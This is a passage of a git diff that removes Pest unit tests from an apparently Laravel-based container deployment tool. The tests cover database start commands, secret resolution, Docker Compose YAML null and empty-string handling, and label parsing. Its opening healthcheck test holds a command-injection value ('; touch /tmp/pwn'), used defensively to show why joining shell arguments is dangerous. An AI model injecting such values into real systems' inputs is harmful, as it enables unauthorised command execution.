$healthcheck); - expect($joinedDangerous)->toContain('; touch /tmp/pwn'); // proof that join IS dangerous - - // The array form is what Docker Compose uses — it does NOT join with spaces + sh -c. - // Simply verifying the structure is correct proves shell is not involved. - expect($healthcheck[0])->toBe('CMD'); -}); diff --git a/tests/Unit/DatabaseStartActionResolvedCredentialsTest.php b/tests/Unit/DatabaseStartActionResolvedCredentialsTest.php deleted file mode 100644 index 2f8205a357..0000000000 --- a/tests/Unit/DatabaseStartActionResolvedCredentialsTest.php +++ /dev/null @@ -1,84 +0,0 @@ -toContain(...$expected) - ->not->toContain(...$unexpected); -})->with([ - 'clickhouse' => [ - 'StartClickhouse', - ['$this->resolvedClickhouseUser', '$this->resolvedClickhousePassword'], - ['$this->database->clickhouse_admin_user, \'--password\'', '$this->database->clickhouse_admin_password, \'--query\''], - ], - 'dragonfly' => [ - 'StartDragonfly', - ['$this->resolvedRedisPassword'], - ['$this->database->dragonfly_password, \'ping\'', 'requirepass {$this->database->dragonfly_password}'], - ], - 'keydb' => [ - 'StartKeydb', - ['$this->resolvedRedisPassword'], - ['$this->database->keydb_password, \'ping\'', 'requirepass {$this->database->keydb_password}'], - ], - 'mongodb' => [ - 'StartMongodb', - ['$this->resolvedMongoDatabase', '$this->resolvedMongoUsername', '$this->resolvedMongoPassword'], - ['json_encode($this->database->mongo_initdb_database', 'json_encode($this->database->mongo_initdb_root_username', 'json_encode($this->database->mongo_initdb_root_password'], - ], - 'mysql' => [ - 'StartMysql', - ['$this->resolvedMysqlRootPassword'], - ['-p{$this->database->mysql_root_password}'], - ], - 'postgresql' => [ - 'StartPostgresql', - ['$this->resolvedPostgresUser', '$this->resolvedPostgresDatabase'], - ['$this->database->postgres_user, \'-d\'', '$this->database->postgres_db, \'-c\''], - ], -]); - -it('runs database start commands without persisting them through remote process', function (string $action) { - $source = file_get_contents(__DIR__."/../../app/Actions/Database/{$action}.php"); - - expect($source) - ->toContain('ExecutesDatabaseStartCommands') - ->toContain('executeDatabaseStartCommands(') - ->not->toContain('return remote_process('); -})->with([ - 'StartClickhouse', - 'StartDragonfly', - 'StartKeydb', - 'StartMariadb', - 'StartMongodb', - 'StartMysql', - 'StartPostgresql', - 'StartRedis', - 'StartSqlite', -]); - -it('queues database starts with identifiers instead of generated commands', function () { - $source = file_get_contents(__DIR__.'/../../app/Actions/Database/StartDatabase.php'); - - expect($source) - ->toContain('DatabaseStartJob::dispatch(') - ->not->toContain('StartPostgresql::run(') - ->not->toContain('StartRedis::run('); -}); - -it('keeps raw secret values separate from compose environment formatting', function (string $action, array $rawAssignments) { - $source = file_get_contents(__DIR__."/../../app/Actions/Database/{$action}.php"); - - expect($source) - ->toContain('$rawValue = (string) $this->database->resolveSecretManagerEnvironmentVariableValue($env);') - ->toContain('$resolvedValue = (string) $this->database->formatEnvironmentVariableValue($env, $rawValue);') - ->toContain('$environment_variables->push($env->key.\'=\'.$resolvedValue);') - ->toContain(...$rawAssignments); -})->with([ - 'clickhouse' => ['StartClickhouse', ['$this->resolvedClickhouseUser = $rawValue;', '$this->resolvedClickhousePassword = $rawValue;']], - 'dragonfly' => ['StartDragonfly', ['$this->resolvedRedisPassword = $rawValue;', 'escapeshellarg($this->resolvedRedisPassword)']], - 'keydb' => ['StartKeydb', ['$this->resolvedRedisPassword = $rawValue;', 'escapeshellarg($this->resolvedRedisPassword)']], - 'mongodb' => ['StartMongodb', ['$this->resolvedMongoUsername = $rawValue;', '$this->resolvedMongoPassword = $rawValue;', '$this->resolvedMongoDatabase = $rawValue;', 'json_encode($this->resolvedMongoPassword']], - 'mysql' => ['StartMysql', ['$this->resolvedMysqlRootPassword = $rawValue;']], - 'postgresql' => ['StartPostgresql', ['$this->resolvedPostgresUser = $rawValue;', '$this->resolvedPostgresDatabase = $rawValue;']], -]); diff --git a/tests/Unit/DatabaseStartJobTest.php b/tests/Unit/DatabaseStartJobTest.php index e6333ea769..fe931254e5 100644 --- a/tests/Unit/DatabaseStartJobTest.php +++ b/tests/Unit/DatabaseStartJobTest.php @@ -26,11 +26,3 @@ it('broadcasts failed database starts to the initiating user even when the activ fn (DatabaseStatusChanged $event): bool => $event->userId === 42, ); }); - -it('targets normal database start status changes to the initiating user', function () { - $source = file_get_contents(__DIR__.'/../../app/Jobs/DatabaseStartJob.php'); - - expect($source) - ->toContain('event(new DatabaseStatusChanged($this->userId));') - ->not->toContain('event(new DatabaseStatusChanged($database));'); -}); diff --git a/tests/Unit/DatabaseStartupOutputTest.php b/tests/Unit/DatabaseStartupOutputTest.php deleted file mode 100644 index cd6262b2c1..0000000000 --- a/tests/Unit/DatabaseStartupOutputTest.php +++ /dev/null @@ -1,26 +0,0 @@ -toContain('$this->commands[] = \'echo \'.escapeshellarg("Pulling {$database->image} image.");'); -})->with([ - 'postgresql' => 'StartPostgresql', - 'clickhouse' => 'StartClickhouse', - 'dragonfly' => 'StartDragonfly', - 'keydb' => 'StartKeydb', - 'mariadb' => 'StartMariadb', - 'mongodb' => 'StartMongodb', - 'mysql' => 'StartMysql', - 'redis' => 'StartRedis', - 'sqlite' => 'StartSqlite', -]); - -it('prints image names as text', function (string $image) { - $message = "Pulling {$image} image."; - - expect(shell_exec('echo '.escapeshellarg($message)))->toBe($message."\n"); -})->with([ - 'apostrophe' => "example:v1's", - 'parentheses' => 'example:v1 (preview)', -]); diff --git a/tests/Unit/DeployKeyDedicatedPathTest.php b/tests/Unit/DeployKeyDedicatedPathTest.php index 59a937fc5b..70e772471c 100644 --- a/tests/Unit/DeployKeyDedicatedPathTest.php +++ b/tests/Unit/DeployKeyDedicatedPathTest.php @@ -66,16 +66,6 @@ it('skips logging the docker deploy key materialization command before ls-remote ->and(substr($source, $commandPosition, 200))->toContain("'skip_command_log' => true"); }); -it('supports skipping command log entries without adding a hidden command entry', function () { - $source = file_get_contents(__DIR__.'/../../app/Traits/ExecuteRemoteCommand.php'); - - expect($source) - ->toContain('$skip_command_log = data_get($single_command, \'skip_command_log\', false);') - ->toContain('if ($command_hidden && ! $skip_command_log && isset($this->application_deployment_queue))') - ->toContain('use ($command, $hidden, $customType, $append, $command_hidden, $skip_command_log)') - ->toContain('\'command\' => $skip_command_log || $command_hidden ? null : $this->redact_sensitive_info($command),'); -}); - it('writes a deploy key to a per-deployment path and cleans it up for ls-remote on the host', function () use ($keyPath) { $privateKey = Mockery::mock(PrivateKey::class)->makePartial(); $privateKey->shouldReceive('getAttribute')->with('private_key')->andReturn('fake-private-key'); diff --git a/tests/Unit/DestinationsOpenApiTest.php b/tests/Unit/DestinationsOpenApiTest.php deleted file mode 100644 index a75f0b1d3d..0000000000 --- a/tests/Unit/DestinationsOpenApiTest.php +++ /dev/null @@ -1,14 +0,0 @@ -toContain("schema: 'Destination'") - ->and($controller)->toContain("operationId: 'list-destinations'") - ->and($controller)->toContain("operationId: 'get-destination-by-uuid'") - ->and($controller)->toContain("operationId: 'update-destination-by-uuid'") - ->and($controller)->toContain("operationId: 'delete-destination-by-uuid'") - ->and($controller)->toContain("operationId: 'list-server-destinations'") - ->and($controller)->toContain("operationId: 'create-server-destination'"); -}); diff --git a/tests/Unit/DockerComposeEmptyStringPreservationTest.php b/tests/Unit/DockerComposeEmptyStringPreservationTest.php deleted file mode 100644 index df654f2ea1..0000000000 --- a/tests/Unit/DockerComposeEmptyStringPreservationTest.php +++ /dev/null @@ -1,296 +0,0 @@ -toBeTrue('applicationParser function should exist'); - - // The code should distinguish between null and empty string - // Check for the pattern where we explicitly check for null vs empty string - $hasNullCheck = str_contains($parsersFile, 'if ($value === null)'); - $hasEmptyStringCheck = str_contains($parsersFile, "} elseif (\$value === '') {"); - - expect($hasNullCheck)->toBeTrue('Should have explicit null check'); - expect($hasEmptyStringCheck)->toBeTrue('Should have explicit empty string check'); -}); - -it('ensures parsers.php preserves empty strings in service parser', function () { - $parsersFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/parsers.php'); - - // Find the serviceParser function's environment mapping logic - $hasServiceParser = str_contains($parsersFile, 'function serviceParser('); - expect($hasServiceParser)->toBeTrue('serviceParser function should exist'); - - // The code should distinguish between null and empty string - // Same check as application parser - $hasNullCheck = str_contains($parsersFile, 'if ($value === null)'); - $hasEmptyStringCheck = str_contains($parsersFile, "} elseif (\$value === '') {"); - - expect($hasNullCheck)->toBeTrue('Should have explicit null check'); - expect($hasEmptyStringCheck)->toBeTrue('Should have explicit empty string check'); -}); - -it('verifies YAML parsing preserves empty strings correctly', function () { - // Test that Symfony YAML parser handles empty strings as we expect - $yamlWithEmptyString = <<<'YAML' -environment: - HTTP_PROXY: "" - HTTPS_PROXY: '' - NO_PROXY: "localhost" -YAML; - - $parsed = Yaml::parse($yamlWithEmptyString); - - // Empty strings should remain as empty strings, not null - expect($parsed['environment']['HTTP_PROXY'])->toBe(''); - expect($parsed['environment']['HTTPS_PROXY'])->toBe(''); - expect($parsed['environment']['NO_PROXY'])->toBe('localhost'); -}); - -it('verifies YAML parsing handles null values correctly', function () { - // Test that null values are preserved as null - $yamlWithNull = <<<'YAML' -environment: - HTTP_PROXY: null - HTTPS_PROXY: - NO_PROXY: "localhost" -YAML; - - $parsed = Yaml::parse($yamlWithNull); - - // Null should remain null - expect($parsed['environment']['HTTP_PROXY'])->toBeNull(); - expect($parsed['environment']['HTTPS_PROXY'])->toBeNull(); - expect($parsed['environment']['NO_PROXY'])->toBe('localhost'); -}); - -it('verifies YAML serialization preserves empty strings', function () { - // Test that empty strings serialize back correctly - $data = [ - 'environment' => [ - 'HTTP_PROXY' => '', - 'HTTPS_PROXY' => '', - 'NO_PROXY' => 'localhost', - ], - ]; - - $yaml = Yaml::dump($data, 10, 2); - - // Empty strings should be serialized with quotes - expect($yaml)->toContain("HTTP_PROXY: ''"); - expect($yaml)->toContain("HTTPS_PROXY: ''"); - expect($yaml)->toContain('NO_PROXY: localhost'); - - // Should NOT contain "null" - expect($yaml)->not->toContain('HTTP_PROXY: null'); -}); - -it('verifies YAML serialization handles null values', function () { - // Test that null values serialize as null - $data = [ - 'environment' => [ - 'HTTP_PROXY' => null, - 'HTTPS_PROXY' => null, - 'NO_PROXY' => 'localhost', - ], - ]; - - $yaml = Yaml::dump($data, 10, 2); - - // Null should be serialized as "null" - expect($yaml)->toContain('HTTP_PROXY: null'); - expect($yaml)->toContain('HTTPS_PROXY: null'); - expect($yaml)->toContain('NO_PROXY: localhost'); - - // Should NOT contain empty quotes for null values - expect($yaml)->not->toContain("HTTP_PROXY: ''"); -}); - -it('verifies empty string round-trip through YAML', function () { - // Test full round-trip: empty string -> YAML -> parse -> serialize -> parse - $original = [ - 'environment' => [ - 'HTTP_PROXY' => '', - 'NO_PROXY' => 'localhost', - ], - ]; - - // Serialize to YAML - $yaml1 = Yaml::dump($original, 10, 2); - - // Parse back - $parsed1 = Yaml::parse($yaml1); - - // Verify empty string is preserved - expect($parsed1['environment']['HTTP_PROXY'])->toBe(''); - expect($parsed1['environment']['NO_PROXY'])->toBe('localhost'); - - // Serialize again - $yaml2 = Yaml::dump($parsed1, 10, 2); - - // Parse again - $parsed2 = Yaml::parse($yaml2); - - // Should still be empty string, not null - expect($parsed2['environment']['HTTP_PROXY'])->toBe(''); - expect($parsed2['environment']['NO_PROXY'])->toBe('localhost'); - - // Both YAML representations should be equivalent - expect($yaml1)->toBe($yaml2); -}); - -it('verifies str()->isEmpty() behavior with empty strings and null', function () { - // Test Laravel's str()->isEmpty() helper behavior - - // Empty string should be considered empty - expect(str('')->isEmpty())->toBeTrue(); - - // Null should be considered empty - expect(str(null)->isEmpty())->toBeTrue(); - - // String with content should not be empty - expect(str('value')->isEmpty())->toBeFalse(); - - // This confirms that we need additional logic to distinguish - // between empty string ('') and null, since both are "isEmpty" -}); - -it('verifies the distinction between empty string and null in PHP', function () { - // Document PHP's behavior for empty strings vs null - - $emptyString = ''; - $nullValue = null; - - // They are different values - expect($emptyString === $nullValue)->toBeFalse(); - - // Empty string is not null - expect($emptyString === '')->toBeTrue(); - expect($nullValue === null)->toBeTrue(); - - // isset() treats them differently - $arrayWithEmpty = ['key' => '']; - $arrayWithNull = ['key' => null]; - - expect(isset($arrayWithEmpty['key']))->toBeTrue(); - expect(isset($arrayWithNull['key']))->toBeFalse(); -}); - -it('verifies YAML null syntax options all produce PHP null', function () { - // Test all three ways to write null in YAML - $yamlWithNullSyntax = <<<'YAML' -environment: - VAR_NO_VALUE: - VAR_EXPLICIT_NULL: null - VAR_TILDE: ~ - VAR_EMPTY_STRING: "" -YAML; - - $parsed = Yaml::parse($yamlWithNullSyntax); - - // All three null syntaxes should produce PHP null - expect($parsed['environment']['VAR_NO_VALUE'])->toBeNull(); - expect($parsed['environment']['VAR_EXPLICIT_NULL'])->toBeNull(); - expect($parsed['environment']['VAR_TILDE'])->toBeNull(); - - // Empty string should remain empty string - expect($parsed['environment']['VAR_EMPTY_STRING'])->toBe(''); -}); - -it('verifies null round-trip through YAML', function () { - // Test full round-trip: null -> YAML -> parse -> serialize -> parse - $original = [ - 'environment' => [ - 'NULL_VAR' => null, - 'EMPTY_VAR' => '', - 'VALUE_VAR' => 'localhost', - ], - ]; - - // Serialize to YAML - $yaml1 = Yaml::dump($original, 10, 2); - - // Parse back - $parsed1 = Yaml::parse($yaml1); - - // Verify types are preserved - expect($parsed1['environment']['NULL_VAR'])->toBeNull(); - expect($parsed1['environment']['EMPTY_VAR'])->toBe(''); - expect($parsed1['environment']['VALUE_VAR'])->toBe('localhost'); - - // Serialize again - $yaml2 = Yaml::dump($parsed1, 10, 2); - - // Parse again - $parsed2 = Yaml::parse($yaml2); - - // Should still have correct types - expect($parsed2['environment']['NULL_VAR'])->toBeNull(); - expect($parsed2['environment']['EMPTY_VAR'])->toBe(''); - expect($parsed2['environment']['VALUE_VAR'])->toBe('localhost'); - - // Both YAML representations should be equivalent - expect($yaml1)->toBe($yaml2); -}); - -it('verifies null vs empty string behavior difference', function () { - // Document the critical difference between null and empty string - - // Null in YAML - $yamlNull = "VAR: null\n"; - $parsedNull = Yaml::parse($yamlNull); - expect($parsedNull['VAR'])->toBeNull(); - - // Empty string in YAML - $yamlEmpty = "VAR: \"\"\n"; - $parsedEmpty = Yaml::parse($yamlEmpty); - expect($parsedEmpty['VAR'])->toBe(''); - - // They should NOT be equal - expect($parsedNull['VAR'] === $parsedEmpty['VAR'])->toBeFalse(); - - // Verify type differences - expect(is_null($parsedNull['VAR']))->toBeTrue(); - expect(is_string($parsedEmpty['VAR']))->toBeTrue(); -}); - -it('verifies parser logic distinguishes null from empty string', function () { - // Test the exact === comparison behavior - $nullValue = null; - $emptyString = ''; - - // PHP strict comparison - expect($nullValue === null)->toBeTrue(); - expect($emptyString === '')->toBeTrue(); - expect($nullValue === $emptyString)->toBeFalse(); - - // This is what the parser should use for correct behavior - if ($nullValue === null) { - $nullHandled = true; - } else { - $nullHandled = false; - } - - if ($emptyString === '') { - $emptyHandled = true; - } else { - $emptyHandled = false; - } - - expect($nullHandled)->toBeTrue(); - expect($emptyHandled)->toBeTrue(); -}); diff --git a/tests/Unit/DockerComposeEmptyTopLevelSectionsTest.php b/tests/Unit/DockerComposeEmptyTopLevelSectionsTest.php deleted file mode 100644 index bfd6740538..0000000000 --- a/tests/Unit/DockerComposeEmptyTopLevelSectionsTest.php +++ /dev/null @@ -1,194 +0,0 @@ -toContain('Remove empty top-level sections') - ->toContain('->filter(function ($value, $key)'); -}); - -it('verifies YAML dump produces empty objects for empty arrays', function () { - // Demonstrate the problem: empty arrays serialize as empty objects - $data = [ - 'services' => ['web' => ['image' => 'nginx']], - 'volumes' => [], - 'configs' => [], - 'secrets' => [], - ]; - - $yaml = Yaml::dump($data, 10, 2); - - // Empty arrays become empty objects in YAML - expect($yaml)->toContain('volumes: { }'); - expect($yaml)->toContain('configs: { }'); - expect($yaml)->toContain('secrets: { }'); -}); - -it('verifies YAML dump omits keys that are not present', function () { - // Demonstrate the solution: omit empty keys entirely - $data = [ - 'services' => ['web' => ['image' => 'nginx']], - // Don't include volumes, configs, secrets at all - ]; - - $yaml = Yaml::dump($data, 10, 2); - - // Keys that don't exist are not in the output - expect($yaml)->not->toContain('volumes:'); - expect($yaml)->not->toContain('configs:'); - expect($yaml)->not->toContain('secrets:'); - expect($yaml)->toContain('services:'); -}); - -it('verifies collection filter removes empty items', function () { - // Test Laravel Collection filter behavior - $collection = collect([ - 'services' => collect(['web' => ['image' => 'nginx']]), - 'volumes' => collect([]), - 'networks' => collect(['coolify' => ['external' => true]]), - 'configs' => collect([]), - 'secrets' => collect([]), - ]); - - $filtered = $collection->filter(function ($value, $key) { - // Always keep services - if ($key === 'services') { - return true; - } - - // Keep only non-empty collections - return $value->isNotEmpty(); - }); - - // Should have services and networks (non-empty) - expect($filtered)->toHaveKey('services'); - expect($filtered)->toHaveKey('networks'); - - // Should NOT have volumes, configs, secrets (empty) - expect($filtered)->not->toHaveKey('volumes'); - expect($filtered)->not->toHaveKey('configs'); - expect($filtered)->not->toHaveKey('secrets'); -}); - -it('verifies filtered collections serialize cleanly to YAML', function () { - // Full test: filter then serialize - $collection = collect([ - 'services' => collect(['web' => ['image' => 'nginx']]), - 'volumes' => collect([]), - 'networks' => collect(['coolify' => ['external' => true]]), - 'configs' => collect([]), - 'secrets' => collect([]), - ]); - - $filtered = $collection->filter(function ($value, $key) { - if ($key === 'services') { - return true; - } - - return $value->isNotEmpty(); - }); - - $yaml = Yaml::dump($filtered->toArray(), 10, 2); - - // Should have services and networks - expect($yaml)->toContain('services:'); - expect($yaml)->toContain('networks:'); - - // Should NOT have empty sections - expect($yaml)->not->toContain('volumes:'); - expect($yaml)->not->toContain('configs:'); - expect($yaml)->not->toContain('secrets:'); -}); - -it('ensures services section is always kept even if empty', function () { - // Services should never be filtered out - $collection = collect([ - 'services' => collect([]), - 'volumes' => collect([]), - ]); - - $filtered = $collection->filter(function ($value, $key) { - if ($key === 'services') { - return true; // Always keep - } - - return $value->isNotEmpty(); - }); - - // Services should be present - expect($filtered)->toHaveKey('services'); - - // Volumes should be removed - expect($filtered)->not->toHaveKey('volumes'); -}); - -it('verifies non-empty sections are preserved', function () { - // Non-empty sections should remain - $collection = collect([ - 'services' => collect(['web' => ['image' => 'nginx']]), - 'volumes' => collect(['data' => ['driver' => 'local']]), - 'networks' => collect(['coolify' => ['external' => true]]), - 'configs' => collect(['app_config' => ['file' => './config']]), - 'secrets' => collect(['db_password' => ['file' => './secret']]), - ]); - - $filtered = $collection->filter(function ($value, $key) { - if ($key === 'services') { - return true; - } - - return $value->isNotEmpty(); - }); - - // All sections should be present (none are empty) - expect($filtered)->toHaveKey('services'); - expect($filtered)->toHaveKey('volumes'); - expect($filtered)->toHaveKey('networks'); - expect($filtered)->toHaveKey('configs'); - expect($filtered)->toHaveKey('secrets'); - - // Count should be 5 (all original keys) - expect($filtered->count())->toBe(5); -}); - -it('verifies mixed empty and non-empty sections', function () { - // Mixed scenario: some empty, some not - $collection = collect([ - 'services' => collect(['web' => ['image' => 'nginx']]), - 'volumes' => collect([]), // Empty - 'networks' => collect(['coolify' => ['external' => true]]), // Not empty - 'configs' => collect([]), // Empty - 'secrets' => collect(['db_password' => ['file' => './secret']]), // Not empty - ]); - - $filtered = $collection->filter(function ($value, $key) { - if ($key === 'services') { - return true; - } - - return $value->isNotEmpty(); - }); - - // Should have: services, networks, secrets - expect($filtered)->toHaveKey('services'); - expect($filtered)->toHaveKey('networks'); - expect($filtered)->toHaveKey('secrets'); - - // Should NOT have: volumes, configs - expect($filtered)->not->toHaveKey('volumes'); - expect($filtered)->not->toHaveKey('configs'); - - // Count should be 3 - expect($filtered->count())->toBe(3); -}); diff --git a/tests/Unit/DockerComposeImagePullOrderTest.php b/tests/Unit/DockerComposeImagePullOrderTest.php index 87b11892a0..5593d37b83 100644 --- a/tests/Unit/DockerComposeImagePullOrderTest.php +++ b/tests/Unit/DockerComposeImagePullOrderTest.php @@ -62,20 +62,6 @@ function makeDockerComposeImagePullJob(bool $useBuildServer = false): array return [$job, $reflection, $buildServer, $mainServer]; } -it('pulls image-only compose services before removing running containers', function () { - $source = file_get_contents(__DIR__.'/../../app/Jobs/ApplicationDeploymentJob.php'); - $methodStart = strpos($source, 'private function deploy_docker_compose_buildpack()'); - $methodEnd = strpos($source, 'private function pull_docker_compose_images()', $methodStart); - $deploymentMethod = substr($source, $methodStart, $methodEnd - $methodStart); - - $pullPosition = strpos($deploymentMethod, '$this->pull_docker_compose_images();'); - $stopPosition = strpos($deploymentMethod, '$this->stop_running_container(force: true);'); - - expect($pullPosition)->not->toBeFalse() - ->and($stopPosition)->not->toBeFalse() - ->and($pullPosition)->toBeLessThan($stopPosition); -}); - it('aborts the deployment when pulling a compose image fails', function () { [$job, $reflection] = makeDockerComposeImagePullJob(); $job->failCommands = true; diff --git a/tests/Unit/DockerComposeLabelParsingTest.php b/tests/Unit/DockerComposeLabelParsingTest.php deleted file mode 100644 index 9265995534..0000000000 --- a/tests/Unit/DockerComposeLabelParsingTest.php +++ /dev/null @@ -1,94 +0,0 @@ -toContain('// Handle array values from YAML (e.g., "traefik.enable: true" becomes an array)') - ->toContain('if (is_array($serviceLabel)) {'); -}); - -it('ensures label parsing converts array values to strings', function () { - // Read the parseDockerComposeFile function from shared.php - $sharedFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/shared.php'); - - // Check that array to string conversion exists - expect($sharedFile) - ->toContain('// Convert array values to strings') - ->toContain('if (is_array($removedLabel)) {') - ->toContain('$removedLabel = (string) collect($removedLabel)->first();'); -}); - -it('falls back to the template port for service application proxy labels', function () { - $sharedFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/shared.php'); - - // Proxy labels for service applications use the per-service routing port... - expect($sharedFile)->toContain( - "? \$savedService->getRequiredPort()\n : \$predefinedPort;" - ); - - // ...which falls back to the one-click template port for HTTP-facing services - $serviceApplicationFile = file_get_contents(__DIR__.'/../../app/Models/ServiceApplication.php'); - expect($serviceApplicationFile) - ->toContain('if ($declaresHttpUrl) {') - ->toContain('return $this->service->getRequiredPort();'); -}); - -it('verifies label parsing array check occurs before preg_match', function () { - // Read the parseDockerComposeFile function from shared.php - $sharedFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/shared.php'); - - // Get the position of array check and str() call - $arrayCheckPos = strpos($sharedFile, 'if (is_array($serviceLabel)) {'); - $strCallPos = strpos($sharedFile, "str(\$serviceLabel)->contains('=')"); - - // Ensure array check comes before str() call - expect($arrayCheckPos) - ->toBeLessThan($strCallPos) - ->toBeGreaterThan(0); -}); - -it('ensures traefik middleware parsing handles array values in docker.php', function () { - // Read the fqdnLabelsForTraefik function from docker.php - $dockerFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/docker.php'); - - // Check that array handling is present before preg_match - expect($dockerFile) - ->toContain('// Handle array values from YAML parsing (e.g., "traefik.enable: true" becomes an array)') - ->toContain('if (is_array($item)) {'); -}); - -it('ensures traefik middleware parsing checks string type before preg_match in docker.php', function () { - // Read the fqdnLabelsForTraefik function from docker.php - $dockerFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/docker.php'); - - // Check that string type check exists - expect($dockerFile) - ->toContain('if (! is_string($item)) {') - ->toContain('return null;'); -}); - -it('verifies array check occurs before preg_match in traefik middleware parsing', function () { - // Read the fqdnLabelsForTraefik function from docker.php - $dockerFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/docker.php'); - - // Get the position of array check and preg_match call - $arrayCheckPos = strpos($dockerFile, 'if (is_array($item)) {'); - $pregMatchPos = strpos($dockerFile, "preg_match('/traefik\\.http\\.middlewares\\.(.*?)(\\.|$)/', \$item"); - - // Ensure array check comes before preg_match call (find first occurrence after array check) - $pregMatchAfterArrayCheck = strpos($dockerFile, "preg_match('/traefik\\.http\\.middlewares\\.(.*?)(\\.|$)/', \$item", $arrayCheckPos); - expect($arrayCheckPos) - ->toBeLessThan($pregMatchAfterArrayCheck) - ->toBeGreaterThan(0); -}); diff --git a/tests/Unit/DockerComposeRawContentRemovalTest.php b/tests/Unit/DockerComposeRawContentRemovalTest.php deleted file mode 100644 index cb5be6b6e0..0000000000 --- a/tests/Unit/DockerComposeRawContentRemovalTest.php +++ /dev/null @@ -1,110 +0,0 @@ -toContain('$compose = data_get($resource, \'docker_compose_raw\');') - ->toContain('// Store original compose for later use to update docker_compose_raw with content removed') - ->toContain('$originalCompose = $compose;'); -}); - -it('ensures serviceParser stores original compose before processing', function () { - // Read the serviceParser function from parsers.php - $parsersFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/parsers.php'); - - // Check that originalCompose is stored at the start of the function - expect($parsersFile) - ->toContain('function serviceParser(Service $resource): Collection') - ->toContain('$compose = data_get($resource, \'docker_compose_raw\');') - ->toContain('// Store original compose for later use to update docker_compose_raw with content removed') - ->toContain('$originalCompose = $compose;'); -}); - -it('ensures applicationParser updates docker_compose_raw from original compose, not cleaned compose', function () { - // Read the applicationParser function from parsers.php - $parsersFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/parsers.php'); - - // Check that docker_compose_raw is set from originalCompose, not cleanedCompose - expect($parsersFile) - ->toContain('$originalYaml = Yaml::parse($originalCompose);') - ->toContain("\$resource->docker_compose_raw = removeComposeVolumeFieldsPreservingComments(\$originalCompose, \$originalYaml, ['content', 'isDirectory', 'is_directory']);") - ->not->toContain('$resource->docker_compose_raw = $cleanedCompose;'); -}); - -it('ensures serviceParser updates docker_compose_raw from original compose, not cleaned compose', function () { - // Read the serviceParser function from parsers.php - $parsersFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/parsers.php'); - - // Find the serviceParser function content - $serviceParserStart = strpos($parsersFile, 'function serviceParser(Service $resource): Collection'); - $serviceParserContent = substr($parsersFile, $serviceParserStart); - - // Check that docker_compose_raw is set from originalCompose within serviceParser - expect($serviceParserContent) - ->toContain('$originalYaml = Yaml::parse($originalCompose);') - ->toContain("\$resource->docker_compose_raw = removeComposeVolumeFieldsPreservingComments(\$originalCompose, \$originalYaml, ['content', 'isDirectory', 'is_directory']);") - ->not->toContain('$resource->docker_compose_raw = $cleanedCompose;'); -}); - -it('ensures applicationParser removes content, isDirectory, and is_directory from volumes', function () { - // Read the applicationParser function from parsers.php - $parsersFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/parsers.php'); - - // Check that content removal logic exists - expect($parsersFile) - ->toContain('// Remove content, isDirectory, and is_directory from all volume definitions') - ->toContain("unset(\$volume['content']);") - ->toContain("unset(\$volume['isDirectory']);") - ->toContain("unset(\$volume['is_directory']);"); -}); - -it('ensures serviceParser removes content, isDirectory, and is_directory from volumes', function () { - // Read the serviceParser function from parsers.php - $parsersFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/parsers.php'); - - // Find the serviceParser function content - $serviceParserStart = strpos($parsersFile, 'function serviceParser(Service $resource): Collection'); - $serviceParserContent = substr($parsersFile, $serviceParserStart); - - // Check that content removal logic exists within serviceParser - expect($serviceParserContent) - ->toContain('// Remove content, isDirectory, and is_directory from all volume definitions') - ->toContain("unset(\$volume['content']);") - ->toContain("unset(\$volume['isDirectory']);") - ->toContain("unset(\$volume['is_directory']);"); -}); - -it('ensures docker_compose_raw update is wrapped in try-catch for error handling', function () { - // Read the parsers file - $parsersFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/parsers.php'); - - // Check that docker_compose_raw update has error handling - expect($parsersFile) - ->toContain('// Update docker_compose_raw to remove content: from volumes only') - ->toContain('// This keeps the original user input clean while preventing content reapplication') - ->toContain('try {') - ->toContain('$originalYaml = Yaml::parse($originalCompose);') - ->toContain('} catch (Exception) {') - ->toContain('// If parsing fails, keep the original docker_compose_raw unchanged'); -}); - -it('does not reformat legacy raw Compose when no content is removed', function () { - $source = file_get_contents(__DIR__.'/../../bootstrap/helpers/shared.php'); - $parser = substr($source, strpos($source, 'function parseDockerComposeFile('), strpos($source, 'function generate_fluentd_configuration(') - strpos($source, 'function parseDockerComposeFile(')); - - expect($parser) - ->toContain('if ($yaml !== $originalYaml) {') - ->toContain("data_forget(\$yaml, 'services.*.volumes.*.content')"); - expect(substr_count($parser, "\$resource->docker_compose_raw = removeComposeVolumeFieldsPreservingComments(\$resource->docker_compose_raw, \$yaml, ['content']);"))->toBe(1); -}); diff --git a/tests/Unit/ExcludeFromHealthCheckTest.php b/tests/Unit/ExcludeFromHealthCheckTest.php deleted file mode 100644 index b311264245..0000000000 --- a/tests/Unit/ExcludeFromHealthCheckTest.php +++ /dev/null @@ -1,131 +0,0 @@ -toContain('// If all containers are excluded, calculate status from excluded containers') - ->toContain('// but mark it with :excluded to indicate monitoring is disabled') - ->toContain('if ($relevantContainers->isEmpty()) {') - ->toContain('return $this->calculateExcludedStatus($containers, $excludedContainers);'); - - // Check that the trait uses ContainerStatusAggregator and appends :excluded suffix - $traitFile = file_get_contents(__DIR__.'/../../app/Traits/CalculatesExcludedStatus.php'); - expect($traitFile) - ->toContain('ContainerStatusAggregator') - ->toContain('appendExcludedSuffix') - ->toContain('$aggregator->aggregateFromContainers($excludedOnly)') - ->toContain("return 'degraded:excluded';") - ->toContain("return 'paused:excluded';") - ->toContain("return 'exited';") - ->toContain('return "$status:excluded";'); // For running:healthy:excluded -}); - -it('ensures Service model returns excluded status when all services excluded', function () { - $serviceModelFile = file_get_contents(__DIR__.'/../../app/Models/Service.php'); - - // Check that when all services are excluded from status checks, - // the Service model calculates real status and returns it with :excluded suffix - expect($serviceModelFile) - ->toContain('exclude_from_status') - ->toContain(':excluded') - ->toContain('CalculatesExcludedStatus'); -}); - -it('ensures Service model returns unknown:unknown:excluded when no containers exist', function () { - $serviceModelFile = file_get_contents(__DIR__.'/../../app/Models/Service.php'); - - // Check that when a service has no applications or databases at all, - // the Service model returns 'unknown:unknown:excluded' instead of 'exited' - // This 